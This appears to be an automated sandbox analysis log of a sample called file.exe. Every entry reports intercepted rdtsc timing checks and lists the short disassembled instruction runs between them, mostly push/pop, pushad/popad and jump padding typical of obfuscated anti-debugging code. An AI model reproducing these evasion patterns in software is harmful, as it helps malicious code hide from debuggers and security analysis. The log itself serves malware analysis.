Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373119 second address: 11BFBF1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F256CF66DE3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edx, ebx 0x0000000f push dword ptr [ebp+122D0AD1h] 0x00000015 call dword ptr [ebp+122D2F99h] 0x0000001b pushad 0x0000001c jmp 00007F256CF66DE8h 0x00000021 xor eax, eax 0x00000023 pushad 0x00000024 sub ebx, dword ptr [ebp+122D3822h] 0x0000002a mov edx, dword ptr [ebp+122D37CAh] 0x00000030 popad 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 clc 0x00000036 mov dword ptr [ebp+122D3ADAh], eax 0x0000003c stc 0x0000003d mov esi, 0000003Ch 0x00000042 sub dword ptr [ebp+122D3643h], edi 0x00000048 add esi, dword ptr [esp+24h] 0x0000004c jmp 00007F256CF66DE7h 0x00000051 clc 0x00000052 lodsw 0x00000054 or dword ptr [ebp+122D2C33h], esi 0x0000005a add eax, dword ptr [esp+24h] 0x0000005e sub dword ptr [ebp+122D33B4h], edi 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 add dword ptr [ebp+122D1820h], ebx 0x0000006e nop 0x0000006f jnc 00007F256CF66DEDh 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F256CF66DDBh 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373429 second address: 1373465 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], esi 0x00000009 call 00007F256CC76B72h 0x0000000e mov edx, esi 0x00000010 pop ecx 0x00000011 nop 0x00000012 jo 00007F256CC76B72h 0x00000018 jne 00007F256CC76B6Ch 0x0000001e push eax 0x0000001f js 00007F256CC76B70h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13735E5 second address: 13735EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13735EB second address: 13735F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13735F1 second address: 13735F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13735F5 second address: 1373619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F256CC76B76h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373619 second address: 137361D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13736EB second address: 13736F5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13736F5 second address: 13736FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373B8A second address: 1373B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373B8E second address: 1373BE8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F256CF66DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F256CF66DE0h 0x00000010 nop 0x00000011 mov edi, dword ptr [ebp+12460460h] 0x00000017 push 0000001Eh 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F256CF66DD8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov edi, dword ptr [ebp+122D3AA2h] 0x00000039 mov edi, dword ptr [ebp+122D37AEh] 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373BE8 second address: 1373BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373BEC second address: 1373BF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373BF2 second address: 1373C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CC76B78h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373E40 second address: 1373E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373EA2 second address: 1373EB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373EB4 second address: 1373EB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373EB9 second address: 1373EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373F9B second address: 1351D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F256CF66DD8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov di, F3BBh 0x00000025 call dword ptr [ebp+12460423h] 0x0000002b jno 00007F256CF66DE0h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jmp 00007F256CF66DE9h 0x00000039 pushad 0x0000003a popad 0x0000003b ja 00007F256CF66DD6h 0x00000041 popad 0x00000042 jng 00007F256CF66DE2h 0x00000048 ja 00007F256CF66DD6h 0x0000004e je 00007F256CF66DD6h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EA7D second address: 132EA87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EA87 second address: 132EA8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EA8B second address: 132EA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EA91 second address: 132EA96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A055D second address: 13A0561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A06A9 second address: 13A06B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDAh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A06B8 second address: 13A06D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 ja 00007F256CC76B6Eh 0x0000000e pushad 0x0000000f popad 0x00000010 jc 00007F256CC76B66h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A06D2 second address: 13A06D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4C6E second address: 13A4C83 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F256CC76B6Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4C83 second address: 13A4C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4DE9 second address: 13A4DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4DED second address: 13A4DF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4DF1 second address: 13A4DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4DFD second address: 13A4E1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F256CF66DE5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A527A second address: 13A528B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A528B second address: 13A52AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F256CF66DE9h 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A567C second address: 13A5680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5680 second address: 13A5684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A57C7 second address: 13A57CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A57CD second address: 13A57DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007F256CF66DD8h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A57DE second address: 13A5818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F256CC76B66h 0x0000000d jmp 00007F256CC76B79h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 popad 0x00000016 push esi 0x00000017 pushad 0x00000018 ja 00007F256CC76B66h 0x0000001e jo 00007F256CC76B66h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A595D second address: 13A5974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F256CF66DD6h 0x0000000c popad 0x0000000d push edx 0x0000000e pushad 0x0000000f jl 00007F256CF66DD6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9C21 second address: 13A9C25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9C25 second address: 13A9C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9C31 second address: 13A9C37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9DD7 second address: 13A9DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA120 second address: 13AA126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA962 second address: 13AA968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA968 second address: 13AA96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA96E second address: 13AA98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F256CF66DE9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AAC27 second address: 13AAC43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F256CC76B76h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AAC43 second address: 13AAC82 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F256CF66DE2h 0x00000008 jmp 00007F256CF66DDEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F256CF66DE4h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AAC82 second address: 13AAC8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F256CC76B6Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AAC8F second address: 13AAC93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B359D second address: 13B35A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13261ED second address: 13261F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13261F3 second address: 1326214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CC76B77h 0x00000009 jng 00007F256CC76B66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1326214 second address: 132621A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B323E second address: 13B3242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3242 second address: 13B3257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CF66DDFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3257 second address: 13B329B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F256CC76B66h 0x00000009 jmp 00007F256CC76B6Ch 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jbe 00007F256CC76B76h 0x00000019 jmp 00007F256CC76B6Eh 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 pop edx 0x00000021 pop eax 0x00000022 jo 00007F256CC76B7Eh 0x00000028 push edi 0x00000029 pushad 0x0000002a popad 0x0000002b pop edi 0x0000002c push eax 0x0000002d push edx 0x0000002e ja 00007F256CC76B66h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B329B second address: 13B329F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B5C68 second address: 13B5C6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B5C6E second address: 13B5C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jnl 00007F256CF66DD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B5DE2 second address: 13B5E2B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F256CC76B79h 0x00000010 popad 0x00000011 je 00007F256CC76BA7h 0x00000017 push esi 0x00000018 jmp 00007F256CC76B6Ch 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F256CC76B6Bh 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8FC1 second address: 13B8FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F256CF66DD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD853 second address: 13BD857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDAD2 second address: 13BDAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jng 00007F256CF66DD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDDA3 second address: 13BDDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDEDC second address: 13BDEF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F256CF66DD6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDEF1 second address: 13BDEF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDEF5 second address: 13BDF09 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F256CF66DD6h 0x00000008 jnp 00007F256CF66DD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDF09 second address: 13BDF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B76h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDF23 second address: 13BDF27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3ACF second address: 13C3AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3AD5 second address: 13C3ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3ADA second address: 13C3B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F256CC76B66h 0x00000009 jg 00007F256CC76B66h 0x0000000f jmp 00007F256CC76B76h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jg 00007F256CC76B66h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3B0A second address: 13C3B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2328 second address: 13C2331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C27FF second address: 13C280E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 js 00007F256CF66DD8h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C280E second address: 13C281D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C281D second address: 13C2832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jns 00007F256CF66DDEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2985 second address: 13C29A6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F256CC76B66h 0x00000008 jmp 00007F256CC76B77h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C29A6 second address: 13C29C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F256CF66DDEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13739FD second address: 1373A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2D5E second address: 13C2D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6936 second address: 13C693A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C5FFD second address: 13C6018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F256CF66DDEh 0x0000000b pushad 0x0000000c popad 0x0000000d jl 00007F256CF66DD6h 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6606 second address: 13C6620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B72h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6620 second address: 13C6636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CF66DE2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD6FA second address: 13CD723 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F256CC76B68h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F256CC76B78h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CB747 second address: 13CB74B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
